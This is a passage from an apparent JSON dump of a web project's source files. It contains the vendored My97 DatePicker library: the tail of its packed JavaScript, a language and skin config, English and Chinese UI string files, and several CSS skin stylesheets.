vent|loadDate|focusArr|okI|minDate|refresh|getP|sv|maxDate|getDay|show|realFmt|dateFmt|dd|callFunc|height|todayI|preventDefault|rMI|document|9700|st|isR|focus|mark|compareWith|left|onmouseout|update|aMonStr|border|attr|cellpadding|ryI|tmpEval|date|10|cellspacing|sb|loadFromDate|onmouseover|MMMM|autoUpdateOnChanged|checkRange|float|DD|oldValue|Q|offsetHeight|onblur|autoPickDate|display|nowrap|pInt2|day_Click|doStr|clearI|shorH|HI|getDate|ld|doExp|menuSel|realFullFmt|charAt|substring|yD|eval|30|MMM|12|dDiv|arguments|menuOn|QS|yMdHms|rtn|width|pInt|prototype|switch|_f|100|_initRe|nextCtrl|yyy|tDiv|minUnit|leftImg|W|readOnly|bDiv|makeInRange|splitDate|navImg|_fd|hideSel|_blur|MD|attachEvent|yyyy|onmousedown|setRealValue|navRightImg|doCustomDate|type|none|rMD|mI|showB|while|getDateStr|href|fireEvent|lastIndex|_cancelKey|index|sd|exec|rv|sI|disHMS|ps|realValue|_fHMS|navLeftImg|rightImg|_foundInput|setDisp|yminput|yy|dpButton|RegExp|_fMyPos|fp|cancelBubble|8|pickDate|getElementsByTagName|P|w|getNewDateStr|r|isTime|close|_fy|align|getMinutes|span|getHours|which|nbsp|getWeek|MM|_setAll|invalidMenu|titleDiv|testDay|testDate|isShowOK|My97Mark|blur|Math|ddateRe|split|getSeconds|15|11|slice|_fillQS|maxlength|errMsg|getFullYear|keyCode|undefined|updownEvent|_inputBindEvent|_tab|draw|btns|WdateDiv|qsDiv|onkeydown|isDate|getMonth|match|call|_setFrom|appendChild|upButton|My97DP|showDiv|right|toLowerCase|startDate|onpicked|N|O|initShowAndHide|HD|e|$IE|v|readonly|_ieEmuEventHandler|2000|body|change|_makeDateInRange|defMinDate|_focus|downButton|02468|highLineWeekDay|469|isShowOthers|valign|oldv|on|isShowClear|bak|newdate|testDisDay|yearOffset|initBtn|13579|MTitle|13578|mm|yminputfocus|sdateRe|HH|autoSize|_dealFmt|Event|xd7|quickSel|mD|coverDate|isShowToday|cloneNode|ddayRe|srcElement|offsetWidth|aLongMonStr|39|$FF|37|38|spans|checkAndUpdate|setAttribute|testSpeDay|isNaN|13|WW|nodeType|01|02|tm|returnValue|testDisDate|ss|isShowWeek|select|tE|init|sdayRe|ry|59|eCont|opposite|realTimeFmt|re|sD|top|45|rM|initQS|px|timeSpan|doubleCalendar|test|testSpeDate|center|WdateFmtErr|oncleared|WdayTable|block|title|valueOf|firstDayOfWeek|aWeekStr|func|default|window|defMaxDate|attachTabEvent|realDateFmt|onchange|setDate|target'.split('|'),383,390,{},{}))"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/config.js",
    "content": "var langList = \r\n[\r\n\t{name:'en',\tcharset:'UTF-8'},\r\n\t{name:'zh-cn',\tcharset:'UTF-8'},\r\n\t{name:'zh-tw',\tcharset:'UTF-8'}\r\n];\r\n\r\nvar skinList = \r\n[\r\n\t{name:'default',\tcharset:'UTF-8'},\r\n\t{name:'whyGreen',\tcharset:'UTF-8'},\r\n\t{name:'ext',\tcharset:'UTF-8'}\r\n];"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/lang/en.js",
    "content": "var $lang={\r\nerrAlertMsg: \"Invalid date or the date out of range,redo or not?\",\r\naWeekStr: [\"wk\", \"Sun\", \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\"],\r\naLongWeekStr:[\"wk\",\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\",\"Sunday\"],\r\naMonStr: [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"],\r\naLongMonStr: [\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],\r\nclearStr: \"Clear\",\r\ntodayStr: \"Today\",\r\nokStr: \"OK\",\r\nupdateStr: \"OK\",\r\ntimeStr: \"Time\",\r\nquickStr: \"Quick Selection\",\r\nerr_1: 'MinDate Cannot be bigger than MaxDate!'\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/lang/zh-cn.js",
    "content": "var $lang={\r\nerrAlertMsg: \"\\u4E0D\\u5408\\u6CD5\\u7684\\u65E5\\u671F\\u683C\\u5F0F\\u6216\\u8005\\u65E5\\u671F\\u8D85\\u51FA\\u9650\\u5B9A\\u8303\\u56F4,\\u9700\\u8981\\u64A4\\u9500\\u5417?\",\r\naWeekStr: [\"\\u5468\",\"\\u65E5\",\"\\u4E00\",\"\\u4E8C\",\"\\u4E09\",\"\\u56DB\",\"\\u4E94\",\"\\u516D\"],\r\naLongWeekStr:[\"\\u5468\",\"\\u661F\\u671F\\u65E5\",\"\\u661F\\u671F\\u4E00\",\"\\u661F\\u671F\\u4E8C\",\"\\u661F\\u671F\\u4E09\",\"\\u661F\\u671F\\u56DB\",\"\\u661F\\u671F\\u4E94\",\"\\u661F\\u671F\\u516D\"],\r\naMonStr: [\"\\u4E00\\u6708\",\"\\u4E8C\\u6708\",\"\\u4E09\\u6708\",\"\\u56DB\\u6708\",\"\\u4E94\\u6708\",\"\\u516D\\u6708\",\"\\u4E03\\u6708\",\"\\u516B\\u6708\",\"\\u4E5D\\u6708\",\"\\u5341\\u6708\",\"\\u5341\\u4E00\",\"\\u5341\\u4E8C\"],\r\naLongMonStr: [\"\\u4E00\\u6708\",\"\\u4E8C\\u6708\",\"\\u4E09\\u6708\",\"\\u56DB\\u6708\",\"\\u4E94\\u6708\",\"\\u516D\\u6708\",\"\\u4E03\\u6708\",\"\\u516B\\u6708\",\"\\u4E5D\\u6708\",\"\\u5341\\u6708\",\"\\u5341\\u4E00\\u6708\",\"\\u5341\\u4E8C\\u6708\"],\r\nclearStr: \"\\u6E05\\u7A7A\",\r\ntodayStr: \"\\u4ECA\\u5929\",\r\nokStr: \"\\u786E\\u5B9A\",\r\nupdateStr: \"\\u786E\\u5B9A\",\r\ntimeStr: \"\\u65F6\\u95F4\",\r\nquickStr: \"\\u5FEB\\u901F\\u9009\\u62E9\", \r\nerr_1: '\\u6700\\u5C0F\\u65E5\\u671F\\u4E0D\\u80FD\\u5927\\u4E8E\\u6700\\u5927\\u65E5\\u671F!'\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/lang/zh-tw.js",
    "content": "var $lang={\r\nerrAlertMsg: \"\\u4E0D\\u5408\\u6CD5\\u7684\\u65E5\\u671F\\u683C\\u5F0F\\u6216\\u8005\\u65E5\\u671F\\u8D85\\u51FA\\u9650\\u5B9A\\u7BC4\\u570D,\\u9700\\u8981\\u64A4\\u92B7\\u55CE?\",\r\naWeekStr: [\"\\u5468\",\"\\u65E5\",\"\\u4E00\",\"\\u4E8C\",\"\\u4E09\",\"\\u56DB\",\"\\u4E94\",\"\\u516D\"],\r\naLongWeekStr:[\"\\u5468\",\"\\u661F\\u671F\\u65E5\",\"\\u661F\\u671F\\u4E00\",\"\\u661F\\u671F\\u4E8C\",\"\\u661F\\u671F\\u4E09\",\"\\u661F\\u671F\\u56DB\",\"\\u661F\\u671F\\u4E94\",\"\\u661F\\u671F\\u516D\"],\r\naMonStr: [\"\\u4E00\\u6708\",\"\\u4E8C\\u6708\",\"\\u4E09\\u6708\",\"\\u56DB\\u6708\",\"\\u4E94\\u6708\",\"\\u516D\\u6708\",\"\\u4E03\\u6708\",\"\\u516B\\u6708\",\"\\u4E5D\\u6708\",\"\\u5341\\u6708\",\"\\u5341\\u4E00\",\"\\u5341\\u4E8C\"],\r\naLongMonStr: [\"\\u4E00\\u6708\",\"\\u4E8C\\u6708\",\"\\u4E09\\u6708\",\"\\u56DB\\u6708\",\"\\u4E94\\u6708\",\"\\u516D\\u6708\",\"\\u4E03\\u6708\",\"\\u516B\\u6708\",\"\\u4E5D\\u6708\",\"\\u5341\\u6708\",\"\\u5341\\u4E00\\u6708\",\"\\u5341\\u4E8C\\u6708\"],\r\nclearStr: \"\\u6E05\\u7A7A\",\r\ntodayStr: \"\\u4ECA\\u5929\",\r\nokStr: \"\\u78BA\\u5B9A\",\r\nupdateStr: \"\\u78BA\\u5B9A\",\r\ntimeStr: \"\\u6642\\u9593\",\r\nquickStr: \"\\u5FEB\\u901F\\u9078\\u64C7\",\r\nerr_1: '\\u6700\\u5C0F\\u65E5\\u671F\\u4E0D\\u80FD\\u5927\\u65BC\\u6700\\u5927\\u65E5\\u671F!'\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/skin/WdatePicker.css",
    "content": ".Wdate{\r\n\tborder:#999 1px solid;\r\n\theight:20px;\r\n\tbackground:#fff url(datePicker.gif) no-repeat right;\r\n}\r\n\r\n.WdateFmtErr{\r\n\tfont-weight:bold;\r\n\tcolor:red;\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/skin/default/datepicker.css",
    "content": "/* \r\n * My97 DatePicker 4.7\r\n */\r\n\r\n.WdateDiv{\r\n\twidth:180px;\r\n\tbackground-color:#FFFFFF;\r\n\tborder:#bbb 1px solid;\r\n\tpadding:2px;\r\n}\r\n\r\n.WdateDiv2{\r\n\twidth:360px;\r\n}\r\n.WdateDiv *{font-size:9pt;}\r\n\r\n.WdateDiv .NavImg a{\r\n\tdisplay:block;\r\n\tcursor:pointer;\r\n\theight:16px;\r\n\twidth:16px;\r\n}\r\n\r\n.WdateDiv .NavImgll a{\r\n\tfloat:left;\r\n\tbackground:transparent url(img.gif) no-repeat scroll 0 0;\r\n}\r\n.WdateDiv .NavImgl a{\r\n\tfloat:left;\r\n\tbackground:transparent url(img.gif) no-repeat scroll -16px 0;\r\n}\r\n.WdateDiv .NavImgr a{\r\n\tfloat:right;\r\n\tbackground:transparent url(img.gif) no-repeat scroll -32px 0;\r\n}\r\n.WdateDiv .NavImgrr a{\r\n\tfloat:right;\r\n\tbackground:transparent url(img.gif) no-repeat scroll -48px 0;\r\n}\r\n\r\n.WdateDiv #dpTitle{\r\n\theight:24px;\r\n\tmargin-bottom:2px;\r\n\tpadding:1px;\r\n}\r\n\r\n.WdateDiv .yminput{\r\n\tmargin-top:2px;\r\n\ttext-align:center;\r\n\theight:20px;\r\n\tborder:0px;\r\n\twidth:50px;\r\n\tcursor:pointer;\t\t\r\n}\r\n\r\n.WdateDiv .yminputfocus{\r\n\tmargin-top:2px;\r\n\ttext-align:center;\r\n\tfont-weight:bold;\r\n\theight:20px;\r\n\tcolor:blue;\r\n\tborder:#ccc 1px solid;\r\n\twidth:50px;\r\n}\r\n\r\n.WdateDiv .menuSel{\r\n\tz-index:1;\r\n\tposition:absolute;\r\n\tbackground-color:#FFFFFF;\t\r\n\tborder:#ccc 1px solid;\r\n\tdisplay:none;\r\n}\r\n\r\n.WdateDiv .menu{\r\n\tcursor:pointer;\r\n\tbackground-color:#fff;\r\n}\r\n\r\n.WdateDiv .menuOn{\r\n\tcursor:pointer;\r\n\tbackground-color:#BEEBEE;\r\n}\r\n\r\n.WdateDiv .invalidMenu{\r\n\tcolor:#aaa;\r\n}\r\n\r\n.WdateDiv .YMenu{\r\n\tmargin-top:20px;\r\n\t\r\n}\r\n\r\n.WdateDiv .MMenu{\r\n\tmargin-top:20px;\r\n\t*width:62px;\r\n}\r\n\r\n.WdateDiv .hhMenu{\r\n\tmargin-top:-90px; \r\n\tmargin-left:26px;\r\n}\r\n\r\n.WdateDiv .mmMenu{\r\n\tmargin-top:-46px; \r\n\tmargin-left:26px;\r\n}\r\n\r\n.WdateDiv .ssMenu{\r\n\tmargin-top:-24px; \r\n\tmargin-left:26px;\r\n}\r\n\r\n .WdateDiv .Wweek {\r\n \ttext-align:center;\r\n\tbackground:#DAF3F5;\r\n\tborder-right:#BDEBEE 1px solid;\r\n }\r\n\r\n.WdateDiv .MTitle{\r\n\tbackground-color:#BDEBEE;\r\n}\r\n.WdateDiv .WdayTable2{\r\n\tborder-collapse:collapse;\r\n\tborder:#c5d9e8 1px solid;\r\n}\r\n.WdateDiv .WdayTable2 table{\r\n\tborder:0;\r\n}\r\n\r\n.WdateDiv .WdayTable{\r\n\tline-height:20px;\r\n\tborder:#c5d9e8 1px solid;\r\n}\r\n.WdateDiv .WdayTable td{\r\n\ttext-align:center;\r\n}\r\n\r\n.WdateDiv .Wday{\r\n\tcursor:pointer;\r\n}\r\n\r\n.WdateDiv .WdayOn{\r\n\tcursor:pointer;\r\n\tbackground-color:#C0EBEF;\r\n}\r\n\r\n.WdateDiv .Wwday{\r\n\tcursor:pointer;\r\n\tcolor:#FF2F2F;\r\n}\r\n\r\n.WdateDiv .WwdayOn{\r\n\tcursor:pointer;\r\n\tcolor:#000;\r\n\tbackground-color:#C0EBEF;\r\n}\r\n.WdateDiv .Wtoday{\r\n\tcursor:pointer;\r\n\tcolor:blue;\r\n}\r\n.WdateDiv .Wselday{\r\n\tbackground-color:#A9E4E9;\r\n}\r\n.WdateDiv .WspecialDay{\r\n\tbackground-color:#66F4DF;\r\n}\r\n\r\n.WdateDiv .WotherDay{ \r\n\tcursor:pointer;\r\n\tcolor:#6A6AFF;\t\r\n}\r\n\r\n.WdateDiv .WotherDayOn{ \r\n\tcursor:pointer;\r\n\tbackground-color:#C0EBEF;\t\r\n}\r\n\r\n.WdateDiv .WinvalidDay{\r\n\tcolor:#aaa;\r\n}\r\n\r\n.WdateDiv #dpTime{\r\n\tfloat:left;\r\n\tmargin-top:3px;\r\n\tmargin-right:30px;\r\n}\r\n\r\n.WdateDiv #dpTime #dpTimeStr{\r\n\tmargin-left:1px;\r\n}\r\n\r\n.WdateDiv #dpTime input{\r\n\twidth:18px;\r\n\theight:20px;\r\n\ttext-align:center;\r\n\tborder:#ccc 1px solid;\t\r\n}\r\n\r\n.WdateDiv #dpTime .tB{\r\n\tborder-right:0px;\r\n}\r\n\r\n.WdateDiv #dpTime .tE{\r\n\tborder-left:0;\r\n\tborder-right:0;\r\n}\r\n\r\n.WdateDiv #dpTime .tm{\r\n\twidth:7px;\r\n\tborder-left:0;\r\n\tborder-right:0;\r\n}\r\n\r\n.WdateDiv #dpTime #dpTimeUp{\r\n\theight:10px;\r\n\twidth:13px;\r\n\tborder:0px;\r\n\tbackground:url(img.gif) no-repeat -32px -16px;\r\n}\r\n\r\n.WdateDiv #dpTime #dpTimeDown{\r\n\theight:10px;\r\n\twidth:13px;\r\n\tborder:0px;\r\n    background:url(img.gif) no-repeat -48px -16px;\r\n}\r\n\r\n .WdateDiv #dpQS {\r\n \tfloat:left;\r\n\tmargin-right:3px;\r\n\tmargin-top:3px;\r\n\tbackground:url(img.gif) no-repeat 0px -16px;\r\n\twidth:20px;\r\n\theight:20px;\r\n\tcursor:pointer;\r\n }\r\n.WdateDiv #dpControl {\r\n\ttext-align:right;\t\r\n}\r\n.WdateDiv .dpButton{ \r\n\theight:20px;\r\n\twidth:45px;\r\n\tborder:#ccc 1px solid;\r\n\tmargin-top:2px;\r\n\tmargin-right:1px;\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/skin/ext/datepicker.css",
    "content": "\r\n/* ѡ DIV */\r\n.WdateDiv{\r\n\twidth:180px;\r\n\tbackground-color:#fff;\r\n\tborder:1px solid #718BB7;\r\n}\r\n/* ˫Ŀ */\r\n.WdateDiv2{\r\n\twidth:360px;\r\n}\r\n.WdateDiv *{font-size:9pt;}\r\n\r\n/****************************\r\n * ͼ ȫAǩ\r\n ***************************/\r\n.WdateDiv .NavImg a{\r\n\tmargin-top:3px;\r\n\tcursor:pointer;\r\n\tdisplay:block;\r\n\twidth:15px;\r\n\theight:15px;\r\n}\r\n.WdateDiv .NavImgll a{\r\n\tbackground:url(left-btn2.gif) no-repeat center center;\r\n\tfloat:left; \r\n\tmargin-left:2px;\r\n}\r\n.WdateDiv .NavImgl a{\r\n\tbackground:url(left-btn.gif) no-repeat center center;\r\n\tfloat:left; \r\n\tmargin-left:2px;\r\n}\r\n.WdateDiv .NavImgr a{\r\n\tbackground:url(right-btn.gif) no-repeat center center;\r\n\tfloat:right;\r\n\tmargin-right:2px;\r\n}\r\n.WdateDiv .NavImgrr a{\r\n\tbackground:url(right-btn2.gif) no-repeat center center;\r\n\tfloat:right;\r\n\tmargin-right:2px;\r\n}\r\n\r\n/****************************\r\n * ·\r\n ***************************/\r\n/* · DIV */\r\n.WdateDiv #dpTitle{\r\n\theight:22px;\r\n\tbackground:transparent url(hd-sprite.gif) repeat-x scroll 0 -83px;\r\n\tcolor:#FFFFFF;\r\n\tfont-family:\"sans serif\",tahoma,verdana,helvetica;\r\n\tfont-size:12px;\r\n\tfont-size-adjust:none;\r\n\tfont-stretch:normal;\r\n\tfont-style:normal;\r\n\tfont-variant:normal;\r\n\tfont-weight:bold;\r\n\tpadding-top:2px;\r\n}\r\n/* · INPUT */\r\n.WdateDiv .yminput{\r\n\tmargin-top:2px;\r\n\ttext-align:center;\r\n\tborder:0px;\r\n\theight:20px;\r\n\twidth:50px;\r\n\tcolor:#FFF;\r\n\tbackground-color:transparent;\r\n\tcursor:pointer;\r\n}\r\n/* ·ýʱʽ INPUT */\r\n.WdateDiv .yminputfocus{\r\n\tmargin-top:2px;\r\n\ttext-align:center;\r\n\tborder:#939393 1px solid;\r\n\tfont-weight:bold;\r\n\tcolor:#034c50;\t\r\n\theight:16px;\r\n\twidth:50px;\r\n}\r\n/* ˵ѡ DIV */\r\n.WdateDiv .menuSel{\r\n\tz-index:1;\r\n\tposition:absolute;\r\n\tbackground-color:#FFFFFF;\r\n\tborder:1px solid #718BB7;\r\n\tdisplay:none;\r\n}\r\n/* ˵ʽ TD */\r\n.WdateDiv .menu{\r\n\tcursor:pointer;\r\n\tbackground-color:#fff;\r\n\tcolor:#11777C;\r\n}\r\n/* ˵mouseoverʽ TD */\r\n.WdateDiv .menuOn{\r\n\tcursor:pointer;\r\n\tbackground-color: #B3CEEF;\r\n}\r\n/* ˵Чʱʽ TD */\r\n.WdateDiv .invalidMenu{\r\n\tcolor:#aaa;\r\n}\r\n/* ѡƫ DIV */\r\n.WdateDiv .YMenu{\r\n\tmargin-top:16px;\r\n}\r\n/* ѡƫ DIV */\r\n.WdateDiv .MMenu{\r\n\tmargin-top:16px;\r\n\t*width:62px;\r\n}\r\n/* ʱѡλ DIV */\r\n.WdateDiv .hhMenu{\r\n\tmargin-top:-90px; \r\n\tmargin-left:26px;\r\n}\r\n/* ѡλ DIV */\r\n.WdateDiv .mmMenu{\r\n\tmargin-top:-46px; \r\n\tmargin-left:26px;\r\n}\r\n/* ѡλ DIV */\r\n.WdateDiv .ssMenu{\r\n\tmargin-top:-24px; \r\n\tmargin-left:26px;\r\n}\r\n\r\n/****************************\r\n * \r\n ***************************/\r\n .WdateDiv .Wweek {\r\n \ttext-align:center;\r\n\tbackground:#DAF3F5;\r\n\tborder-right:#BDEBEE 1px solid;\r\n }\r\n/****************************\r\n * ,\r\n ***************************/\r\n /*  TR */\r\n.WdateDiv .MTitle{\r\n\tcolor:#233D6D;\r\n\tbackground:#DFECFB url(glass-bg.gif) repeat-x scroll left top;\r\n\tcolor:#233D6D;\r\n\tcursor:default;\r\n\tfont-size:10px; \r\n\tpadding-top:2px;\r\n}\r\n.WdateDiv .MTitle td{\r\n\tborder-bottom:1px solid #A3BAD9;\r\n}\r\n.WdateDiv .WdayTable2{\r\n\tborder-collapse:collapse;\r\n\tborder:black 1px solid;\r\n}\r\n.WdateDiv .WdayTable2 table{\r\n\tborder:0;\r\n}\r\n/*  TABLE */\r\n.WdateDiv .WdayTable{\r\n\tline-height:20px;\t\r\n\tcolor:black; \r\n}\r\n.WdateDiv .WdayTable td{\r\n\ttext-align:center;\r\n}\r\n/* ڸʽ TD */\r\n.WdateDiv .Wday{\r\n\tcursor:pointer;\r\n}\r\n/* ڸmouseoverʽ TD */\r\n.WdateDiv .WdayOn{\r\n\tcursor:pointer;\r\n\tbackground-color:#B3CEEF;\r\n}\r\n/* ĩڸʽ TD */\r\n.WdateDiv .Wwday{\r\n\tcursor:pointer;\r\n\tcolor:#ab1e1e;\r\n}\r\n/* ĩڸmouseoverʽ TD */\r\n.WdateDiv .WwdayOn{\r\n\tcursor:pointer;\r\n\tbackground-color:#B3CEEF;\r\n}\r\n.WdateDiv .Wtoday{\r\n\tcursor:pointer;\r\n\tcolor:red;\r\n}\r\n.WdateDiv .Wselday{\r\n\tbackground-color:#B3CEEF;\r\n}\r\n.WdateDiv .WspecialDay{\r\n\tbackground-color:#66F4DF;\r\n}\r\n/* ·ݵ */\r\n.WdateDiv .WotherDay{ \r\n\tcursor:pointer;\r\n\tcolor:#AAAAAA;\r\n}\r\n/* ·ݵmouseoverʽ */\r\n.WdateDiv .WotherDayOn{ \r\n\tcursor:pointer;\r\n\tbackground-color:#B3CEEF;\r\n}\r\n/* Чڵʽ,ڷΧڸʽ,ѡ */\r\n.WdateDiv .WinvalidDay{\r\n\tcolor:#aaa;\r\n}\r\n\r\n/****************************\r\n * ʱ\r\n ***************************/\r\n/* ʱ DIV */\r\n.WdateDiv #dpTime{\r\n\twidth:120px;\r\n\ttext-align:left;\r\n\tmargin-left:32px;\r\n\theight:20px;\r\n\tline-height:20px;\r\n\tpadding-top:1px;\r\n}\r\n/* ʱ SPAN */\r\n.WdateDiv #dpTime #dpTimeStr{\r\n\tmargin-left:1px;\r\n\tcolor:#233D6D;\r\n}\r\n/* ʱ INPUT */\r\n.WdateDiv #dpTime input{\r\n\theight:16px;\r\n\twidth:18px;\r\n\ttext-align:center;\r\n\tcolor:#333;\r\n\tborder:#A3BAD9 1px solid;\t\r\n}\r\n/* ʱ ʱ INPUT */\r\n.WdateDiv #dpTime .tB{\r\n\tborder-right:0px;\r\n}\r\n/* ʱ ֺͼ ':' INPUT */\r\n.WdateDiv #dpTime .tE{\r\n\tborder-left:0;\r\n\tborder-right:0;\r\n}\r\n/* ʱ  INPUT */\r\n.WdateDiv #dpTime .tm{\r\n\twidth:7px;\r\n\tborder-left:0;\r\n\tborder-right:0;\r\n}\r\n/* ʱұߵϰť BUTTON */\r\n.WdateDiv #dpTime #dpTimeUp{\r\n\theight:8px;\r\n\twidth:13px;\r\n\tborder:0px;\r\n\tbackground:url(img.gif) no-repeat -32px -16px;\r\n\tcursor:pointer;\r\n\tmargin-bottom:0;\r\n\tpadding-bottom:0;\r\n}\r\n/* ʱұߵ°ť BUTTON */\r\n.WdateDiv #dpTime #dpTimeDown{\r\n\theight:8px;\r\n\twidth:13px;\r\n\tborder:0px;\r\n\tbackground:url(img.gif) no-repeat -48px -16px;\r\n\tcursor:pointer;\r\n\tmargin-top:0;\r\n\tpadding-top:0;\r\n}\r\n/****************************\r\n * \r\n ***************************/\r\n .WdateDiv #dpQS {\r\n \tfloat:left;\r\n\tmargin-left:3px;\r\n\tmargin-top:9px;\r\n\tbackground:url(dateselect.gif) no-repeat;\r\n\twidth:20px;\r\n\theight:20px;\r\n\tcursor:pointer;\r\n }\r\n.WdateDiv #dpControl {\r\n\ttext-align:right;\r\n\tmargin-top:3px;\r\n\tbackground:#DFECFB url(glass-bg.gif) repeat-x scroll left top;\r\n\tborder-top:1px solid #A3BAD9;\r\n\tpadding:4px;\r\n}\r\n.WdateDiv .dpButton{ \r\n\twidth:44px;\r\n\theight:22px;\r\n\tbackground:#083772 none repeat scroll 0 0;\r\n\tborder-color:#3366CC #000055 #000055 #3366CC;\r\n\tborder-style:solid;\r\n\tborder-width:1px;\r\n\tcolor:white;\r\n\tcursor:pointer;\r\n\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/skin/whyGreen/datepicker.css",
    "content": "/* \r\n * My97 DatePicker 4.7 Skin:whyGreen\r\n */ \r\n.WdateDiv{\r\n\twidth:180px;\r\n\tbackground-color:#fff;\r\n\tborder:#C5E1E4 1px solid;\r\n\tpadding:2px;\r\n}\r\n\r\n.WdateDiv2{\r\n\twidth:360px;\r\n}\r\n.WdateDiv *{font-size:9pt;}\r\n\r\n.WdateDiv .NavImg a{\r\n\tcursor:pointer;\r\n\tdisplay:block;\r\n\twidth:16px;\r\n\theight:16px;\r\n\tmargin-top:1px;\r\n}\r\n\r\n.WdateDiv .NavImgll a{\r\n\tfloat:left;\r\n\tbackground:url(img.gif) no-repeat;\r\n}\r\n.WdateDiv .NavImgl a{\r\n\tfloat:left;\r\n\tbackground:url(img.gif) no-repeat -16px 0px;\r\n}\r\n.WdateDiv .NavImgr a{\r\n\tfloat:right;\r\n\tbackground:url(img.gif) no-repeat -32px 0px;\r\n}\r\n.WdateDiv .NavImgrr a{\r\n\tfloat:right;\r\n\tbackground:url(img.gif) no-repeat -48px 0px;\r\n}\r\n\r\n.WdateDiv #dpTitle{\r\n\theight:24px;\r\n\tpadding:1px;\r\n\tborder:#c5d9e8 1px solid;\r\n\tbackground:url(bg.jpg);\r\n\tmargin-bottom:2px;\r\n}\r\n\r\n.WdateDiv .yminput{\r\n\tmargin-top:2px;\r\n\ttext-align:center;\r\n\tborder:0px;\r\n\theight:20px;\r\n\twidth:50px;\r\n\tcolor:#034c50;\r\n\tbackground-color:transparent;\r\n\tcursor:pointer;\r\n}\r\n\r\n.WdateDiv .yminputfocus{\r\n\tmargin-top:2px;\r\n\ttext-align:center;\r\n\tborder:#939393 1px solid;\r\n\tfont-weight:bold;\r\n\tcolor:#034c50;\t\r\n\theight:20px;\r\n\twidth:50px;\r\n}\r\n\r\n.WdateDiv .menuSel{\r\n\tz-index:1;\r\n\tposition:absolute;\r\n\tbackground-color:#FFFFFF;\r\n\tborder:#A3C6C8 1px solid;\r\n\tdisplay:none;\r\n}\r\n\r\n.WdateDiv .menu{\r\n\tcursor:pointer;\r\n\tbackground-color:#fff;\r\n\tcolor:#11777C;\r\n}\r\n\r\n.WdateDiv .menuOn{\r\n\tcursor:pointer;\r\n\tbackground-color:#BEEBEE;\r\n}\r\n\r\n.WdateDiv .invalidMenu{\r\n\tcolor:#aaa;\r\n}\r\n\r\n.WdateDiv .YMenu{\r\n\tmargin-top:20px;\r\n}\r\n\r\n.WdateDiv .MMenu{\r\n\tmargin-top:20px;\r\n\t*width:62px;\r\n}\r\n\r\n.WdateDiv .hhMenu{\r\n\tmargin-top:-90px; \r\n\tmargin-left:26px;\r\n}\r\n\r\n.WdateDiv .mmMenu{\r\n\tmargin-top:-46px; \r\n\tmargin-left:26px;\r\n}\r\n\r\n.WdateDiv .ssMenu{\r\n\tmargin-top:-24px; \r\n\tmargin-left:26px;\r\n}\r\n\r\n .WdateDiv .Wweek {\r\n \ttext-align:center;\r\n\tbackground:#DAF3F5;\r\n\tborder-right:#BDEBEE 1px solid;\r\n }\r\n\r\n.WdateDiv .MTitle{\r\n\tcolor:#13777e;\r\n\tbackground-color:#bdebee;\r\n}\r\n.WdateDiv .WdayTable2{\r\n\tborder-collapse:collapse;\r\n\tborder:#BEE9F0 1px solid;\r\n}\r\n.WdateDiv .WdayTable2 table{\r\n\tborder:0;\r\n}\r\n\r\n.WdateDiv .WdayTable{\r\n\tline-height:20px;\t\r\n\tcolor:#13777e;\r\n\tbackground-color:#edfbfb;\r\n\tborder:#BEE9F0 1px solid;\r\n}\r\n.WdateDiv .WdayTable td{\r\n\ttext-align:center;\r\n}\r\n\r\n.WdateDiv .Wday{\r\n\tcursor:pointer;\r\n}\r\n\r\n.WdateDiv .WdayOn{\r\n\tcursor:pointer;\r\n\tbackground-color:#74d2d9 ;\r\n}\r\n\r\n.WdateDiv .Wwday{\r\n\tcursor:pointer;\r\n\tcolor:#ab1e1e;\r\n}\r\n\r\n.WdateDiv .WwdayOn{\r\n\tcursor:pointer;\r\n\tbackground-color:#74d2d9;\r\n}\r\n.WdateDiv .Wtoday{\r\n\tcursor:pointer;\r\n\tcolor:blue;\r\n}\r\n.WdateDiv .Wselday{\r\n\tbackground-color:#A7E2E7;\r\n}\r\n.WdateDiv .WspecialDay{\r\n\tbackground-color:#66F4DF;\r\n}\r\n\r\n.WdateDiv .WotherDay{ \r\n\tcursor:pointer;\r\n\tcolor:#0099CC;\t\r\n}\r\n\r\n.WdateDiv .WotherDayOn{ \r\n\tcursor:pointer;\r\n\tbackground-color:#C0EBEF;\t\r\n}\r\n\r\n.WdateDiv .WinvalidDay{\r\n\tcolor:#aaa;\r\n}\r\n\r\n.WdateDiv #dpTime{\r\n\tfloat:left;\r\n\tmargin-top:3px;\r\n\tmargin-right:30px;\r\n}\r\n\r\n.WdateDiv #dpTime #dpTimeStr{\r\n\tmargin-left:1px;\r\n\tcolor:#497F7F;\r\n}\r\n\r\n.WdateDiv #dpTime input{\r\n\theight:20px;\r\n\twidth:18px;\r\n\ttext-align:center;\r\n\tcolor:#333;\r\n\tborder:#61CAD0 1px solid;\t\r\n}\r\n\r\n.WdateDiv #dpTime .tB{\r\n\tborder-right:0px;\r\n}\r\n\r\n.WdateDiv #dpTime .tE{\r\n\tborder-left:0;\r\n\tborder-right:0;\r\n}\r\n\r\n.WdateDiv #dpTime .tm{\r\n\twidth:7px;\r\n\tborder-left:0;\r\n\tborder-right:0;\r\n}\r\n\r\n.WdateDiv #dpTime #dpTimeUp{\r\n\theight:10px;\r\n\twidth:13px;\r\n\tborder:0px;\r\n\tbackground:url(img.gif) no-repeat -32px -16px;\r\n}\r\n\r\n.WdateDiv #dpTime #dpTimeDown{\r\n\theight:10px;\r\n\twidth:13px;\r\n\tborder:0px;\r\n\tbackground:url(img.gif) no-repeat -48px -16px;\r\n}\r\n\r\n .WdateDiv #dpQS {\r\n \tfloat:left;\r\n\tmargin-right:3px;\r\n\tmargin-top:3px;\r\n\tbackground:url(img.gif) no-repeat 0px 